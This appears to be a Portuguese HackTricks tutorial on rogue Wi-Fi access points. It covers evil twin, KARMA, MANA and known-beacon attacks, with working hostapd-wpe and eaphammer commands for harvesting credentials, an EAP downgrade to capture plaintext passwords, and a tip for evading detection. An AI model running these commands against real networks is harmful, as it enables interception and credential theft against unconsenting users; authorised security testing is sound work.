* O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviços Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele.
|
|
* As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um edifício ou área.
|
|
* O protocolo exige autenticação da estação ao ESS, mas não exige autenticação do AP à estação.
|
|
|
|
### Listas de Redes Preferidas (PNLs)
|
|
|
|
* As estações armazenam o ESSID de cada rede sem fio à qual se conectam em sua Lista de Redes Preferidas (PNL), juntamente com detalhes de configuração específicos da rede.
|
|
* A PNL é usada para conectar automaticamente a redes conhecidas, melhorando a experiência do usuário ao simplificar o processo de conexão.
|
|
|
|
### Escaneamento Passivo
|
|
|
|
* Os APs periodicamente transmitem quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
|
|
* Durante o escaneamento passivo, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
|
|
* O conhecimento da PNL de um dispositivo permite uma possível exploração ao imitar o ESSID de uma rede conhecida, enganando o dispositivo para se conectar a um AP malicioso.
|
|
|
|
### Probing Ativo
|
|
|
|
* O probing ativo envolve estações enviando solicitações de probe para descobrir APs próximos e suas características.
|
|
* Solicitações de probe direcionadas visam um ESSID específico, ajudando a detectar se uma rede particular está ao alcance, mesmo que seja uma rede oculta.
|
|
* Solicitações de probe de broadcast têm um campo SSID nulo e são enviadas a todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
|
|
|
|
## AP Simples com redirecionamento para a Internet
|
|
|
|
Antes de explicar como realizar ataques mais complexos, será explicado **como** apenas **criar** um **AP** e **redirecionar** seu **tráfego** para uma interface conectada **à** **Internet**.
|
|
|
|
Usando `ifconfig -a`, verifique se a interface wlan para criar o AP e a interface conectada à Internet estão presentes.
|
|
|
|
### DHCP & DNS
|
|
```bash
|
|
apt-get install dnsmasq #Manages DHCP and DNS
|
|
```
|
|
Crie o arquivo de configuração `/etc/dnsmasq.conf`:
|
|
```ini
|
|
interface=wlan0
|
|
dhcp-authoritative
|
|
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
|
dhcp-option=3,192.168.1.1
|
|
dhcp-option=6,192.168.1.1
|
|
server=8.8.8.8
|
|
log-queries
|
|
log-dhcp
|
|
listen-address=127.0.0.1
|
|
```
|
|
Então **defina IPs** e **rotas**:
|
|
```bash
|
|
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
|
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
|
```
|
|
E então **inicie** o dnsmasq:
|
|
```bash
|
|
dnsmasq -C dnsmasq.conf -d
|
|
```
|
|
### hostapd
|
|
```bash
|
|
apt-get install hostapd
|
|
```
|
|
Crie um arquivo de configuração `hostapd.conf`:
|
|
```ini
|
|
interface=wlan0
|
|
driver=nl80211
|
|
ssid=MITIWIFI
|
|
hw_mode=g
|
|
channel=11
|
|
macaddr_acl=0
|
|
ignore_broadcast_ssid=0
|
|
auth_algs=1
|
|
wpa=2
|
|
wpa_passphrase=mitmwifi123
|
|
wpa_key_mgmt=WPA-PSK
|
|
wpa_pairwise=CCMP
|
|
wpa_group_rekey=86400
|
|
ieee80211n=1
|
|
wme_enabled=1
|
|
```
|
|
**Pare processos irritantes**, configure **modo monitor** e **inicie o hostapd**:
|
|
```bash
|
|
airmon-ng check kill
|
|
iwconfig wlan0 mode monitor
|
|
ifconfig wlan0 up
|
|
hostapd ./hostapd.conf
|
|
```
|
|
### Encaminhamento e Redirecionamento
|
|
```bash
|
|
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
|
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
```
|
|
## Evil Twin
|
|
|
|
Um ataque de evil twin explora a maneira como os clientes WiFi reconhecem redes, dependendo principalmente do nome da rede (ESSID) sem exigir que a estação base (ponto de acesso) se autentique ao cliente. Os pontos principais incluem:
|
|
|
|
* **Dificuldade em Diferenciação**: Dispositivos têm dificuldade em distinguir entre pontos de acesso legítimos e maliciosos quando compartilham o mesmo ESSID e tipo de criptografia. Redes do mundo real frequentemente usam múltiplos pontos de acesso com o mesmo ESSID para estender a cobertura de forma contínua.
|
|
* **Roaming de Cliente e Manipulação de Conexão**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Ataques podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou jamming.
|
|
* **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectar a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso.
|
|
|
|
Você pode criar um Open Evil Twin muito básico (sem capacidades de rotear tráfego para a Internet) fazendo:
|
|
```bash
|
|
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|
```
|
|
Você também pode criar um Evil Twin usando **eaphammer** (note que para criar evil twins com eaphammer a interface **NÃO DEVE** estar em modo **monitor**):
|
|
```bash
|
|
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
|
```
|
|
Ou usando o Airgeddon: `Options: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).`
|
|
|
|
.png>)
|
|
|
|
Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá fazer a vítima se conectar a você, pois não conhece o PSK, mas pode capturar o handshake e tentar quebrá-lo).
|
|
|
|
_Alguns sistemas operacionais e antivírus avisarão o usuário que se conectar a uma rede aberta é perigoso..._
|
|
|
|
### WPA/WPA2 Evil Twin
|
|
|
|
Você pode criar um **Evil Twin usando WPA/2** e se os dispositivos estiverem configurados para se conectar a esse SSID com WPA/2, eles tentarão se conectar. De qualquer forma, **para completar o 4-way-handshake**, você também precisa **saber** a **senha** que o cliente vai usar. Se você **não souber**, a **conexão não será completada**.
|
|
```bash
|
|
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
|
```
|
|
### Enterprise Evil Twin
|
|
|
|
Para entender esses ataques, eu recomendaria ler antes a breve [explicação do WPA Enterprise](./#wpa-enterprise-mgt).
|
|
|
|
**Usando hostapd-wpe**
|
|
|
|
`hostapd-wpe` precisa de um **arquivo de configuração** para funcionar. Para **automatizar** a geração dessas configurações, você pode usar [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd_launchpad) (baixe o arquivo python dentro de _/etc/hostapd-wpe/_).
|
|
```bash
|
|
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
|
hostapd-wpe ./victim/victim.conf -s
|
|
```
|
|
No arquivo de configuração, você pode selecionar muitas coisas diferentes, como ssid, canal, arquivos de usuário, cret/key, parâmetros dh, versão wpa e auth...
|
|
|
|
[**Usando hostapd-wpe com EAP-TLS para permitir que qualquer certificado faça login.**](evil-twin-eap-tls.md)
|
|
|
|
**Usando EAPHammer**
|
|
```bash
|
|
# Generate Certificates
|
|
./eaphammer --cert-wizard
|
|
|
|
# Launch Attack
|
|
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
|
```
|
|
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto simples e, em seguida, o uso de métodos de autenticação mais robustos):
|
|
```
|
|
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|
```
|
|
Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar ao servidor os métodos de autenticação do mais fraco ao mais forte:
|
|
```
|
|
--negotiate weakest
|
|
```
|
|
Ou você também pode usar:
|
|
|
|
* `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto claro)
|
|
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
|
|
* [Encontre mais informações na wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
|
|
**Usando Airgeddon**
|
|
|
|
`Airgeddon` pode usar certificados gerados anteriormente para oferecer autenticação EAP em redes WPA/WPA2-Enterprise. A rede falsa irá rebaixar o protocolo de conexão para EAP-MD5, de modo que será capaz de **capturar o usuário e o MD5 da senha**. Mais tarde, o atacante pode tentar quebrar a senha.\
|
|
`Airgeddon` oferece a possibilidade de um **ataque Evil Twin contínuo (barulhento)** ou **apenas criar o ataque Evil até que alguém se conecte (suave).**
|
|
|
|
.png>)
|
|
|
|
### Depurando túneis TLS PEAP e EAP-TTLS em ataques Evil Twins
|
|
|
|
_Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS_
|
|
|
|
Dentro da **configuração** do _hostapd-wpe_, **comente** a linha que contém _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` para `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
|
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, para que você possa **descriptografar** o tráfego mais tarde **sabendo a chave privada do servidor**.
|
|
|
|
Agora inicie o **Evil Twin** usando **`hostapd-wpe`** com essa configuração modificada como de costume. Além disso, inicie **`wireshark`** na **interface** que está realizando o ataque Evil Twin.
|
|
|
|
Agora ou mais tarde (quando você já tiver capturado algumas tentativas de autenticação) você pode adicionar a chave RSA privada ao wireshark em: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
|
|
|
Adicione uma nova entrada e preencha o formulário com estes valores: **Endereço IP = qualquer** -- **Porta = 0** -- **Protocolo = data** -- **Arquivo de Chave** (**selecione seu arquivo de chave**, para evitar problemas, selecione um arquivo de chave **sem proteção por senha**).
|
|
|
|
.png>)
|
|
|
|
E olhe na nova **aba "Decrypted TLS"**:
|
|
|
|
.png>)
|
|
|
|
## KARMA, MANA, Loud MANA e ataque de beacons conhecidos
|
|
|
|
### Listas negras/whitelists de ESSID e MAC
|
|
|
|
Diferentes tipos de Listas de Filtro de Controle de Acesso à Mídia (MFACLs) e seus modos correspondentes e efeitos no comportamento de um Ponto de Acesso (AP) malicioso:
|
|
|
|
1. **Whitelist baseada em MAC**:
|
|
* O AP malicioso responderá apenas a solicitações de sondagem de dispositivos especificados na lista branca, permanecendo invisível a todos os outros não listados.
|
|
2. **Blacklist baseada em MAC**:
|
|
* O AP malicioso ignorará solicitações de sondagem de dispositivos na lista negra, tornando efetivamente o AP malicioso invisível para esses dispositivos específicos.
|
|
3. **Whitelist baseada em SSID**:
|
|
* O AP malicioso responderá a solicitações de sondagem apenas para ESSIDs específicos listados, tornando-o invisível para dispositivos cujas Listas de Redes Preferidas (PNLs) não contêm esses ESSIDs.
|
|
4. **Blacklist baseada em SSID**:
|
|
* O AP malicioso não responderá a solicitações de sondagem para os ESSIDs específicos na lista negra, tornando-o invisível para dispositivos que buscam essas redes particulares.
|
|
```bash
|
|
# example EAPHammer MFACL file, wildcards can be used
|
|
09:6a:06:c8:36:af
|
|
37:ab:46:7a:9a:7c
|
|
c7:36:8c:b2:*:*
|
|
|
|
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
|
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
|
```
|
|
|
|
```bash
|
|
# example ESSID-based MFACL file
|
|
name1
|
|
name2
|
|
name3
|
|
|
|
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
|
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
|
```
|
|
### KARMA
|
|
|
|
Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos para se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão a este AP falso, ele completa a conexão, levando o dispositivo a se conectar erroneamente à rede do atacante.
|
|
|
|
### MANA
|
|
|
|
Então, **os dispositivos começaram a ignorar respostas de rede não solicitadas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de transmissão** com nomes de rede (SSIDs) previamente solicitados pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas.
|
|
|
|
O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de transmissão de dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de transmissão é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP falso.
|
|
```bash
|
|
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Loud MANA
|
|
|
|
Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos não usam sondagem direcionada ou quando suas Listas de Redes Preferidas (PNL) são desconhecidas para o atacante. Ele opera sob o princípio de que **dispositivos na mesma área provavelmente compartilham alguns nomes de rede em suas PNLs**. Em vez de responder de forma seletiva, este ataque transmite respostas de sondagem para cada nome de rede (ESSID) encontrado nas PNLs combinadas de todos os dispositivos observados. Essa abordagem ampla aumenta a chance de um dispositivo reconhecer uma rede familiar e tentar se conectar ao Ponto de Acesso (AP) malicioso.
|
|
```bash
|
|
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Known Beacon attack
|
|
|
|
Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos.
|
|
|
|
Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
|
|
```bash
|
|
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
**Ataque de Beacon Burst Conhecido**
|
|
|
|
O **ataque de Beacon Burst Conhecido** envolve **a transmissão rápida de quadros de beacon para cada ESSID listado em um arquivo**. Isso cria um ambiente denso de redes falsas, aumentando significativamente a probabilidade de dispositivos se conectarem ao AP malicioso, especialmente quando combinado com um ataque MANA. Essa técnica aproveita a velocidade e o volume para sobrecarregar os mecanismos de seleção de rede dos dispositivos.
|
|
```bash
|
|
# transmit a burst of 5 forged beacon packets for each entry in list
|
|
./forge-beacons -i wlan1 \
|
|
--bssid de:ad:be:ef:13:37 \
|
|
--known-essids-file known-s.txt \
|
|
--dst-addr 11:22:33:11:22:33 \
|
|
--burst-count 5
|
|
```
|
|
## Wi-Fi Direct
|
|
|
|
**Wi-Fi Direct** é um protocolo que permite que dispositivos se conectem diretamente entre si usando Wi-Fi, sem a necessidade de um ponto de acesso sem fio tradicional. Essa capacidade está integrada em vários dispositivos da Internet das Coisas (IoT), como impressoras e televisores, facilitando a comunicação direta entre dispositivos. Uma característica notável do Wi-Fi Direct é que um dispositivo assume o papel de ponto de acesso, conhecido como proprietário do grupo, para gerenciar a conexão.
|
|
|
|
A segurança para conexões Wi-Fi Direct é estabelecida através do **Wi-Fi Protected Setup (WPS)**, que suporta vários métodos para emparelhamento seguro, incluindo:
|
|
|
|
* **Push-Button Configuration (PBC)**
|
|
* **Entrada de PIN**
|
|
* **Comunicação de Campo Próximo (NFC)**
|
|
|
|
Esses métodos, particularmente a entrada de PIN, são suscetíveis às mesmas vulnerabilidades que o WPS em redes Wi-Fi tradicionais, tornando-os alvos para vetores de ataque semelhantes.
|
|
|
|
### EvilDirect Hijacking
|
|
|
|
**EvilDirect Hijacking** é um ataque específico ao Wi-Fi Direct. Ele espelha o conceito de um ataque Evil Twin, mas visa conexões Wi-Fi Direct. Nesse cenário, um atacante se faz passar por um proprietário de grupo legítimo com o objetivo de enganar dispositivos para se conectarem a uma entidade maliciosa. Esse método pode ser executado usando ferramentas como `airbase-ng`, especificando o canal, ESSID e endereço MAC do dispositivo impersonado:
|
|
|
|
## References
|
|
|
|
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
|
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
|
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
|
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
|
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
|
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
|
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
|
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
|
|
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com facebook e imitação de WPA em portals cativos)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas!
|
|
|
|
**Hacking Insights**\
|
|
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|
|
|
**Real-Time Hack News**\
|
|
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
|
|
|
|
**Latest Announcements**\
|
|
Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|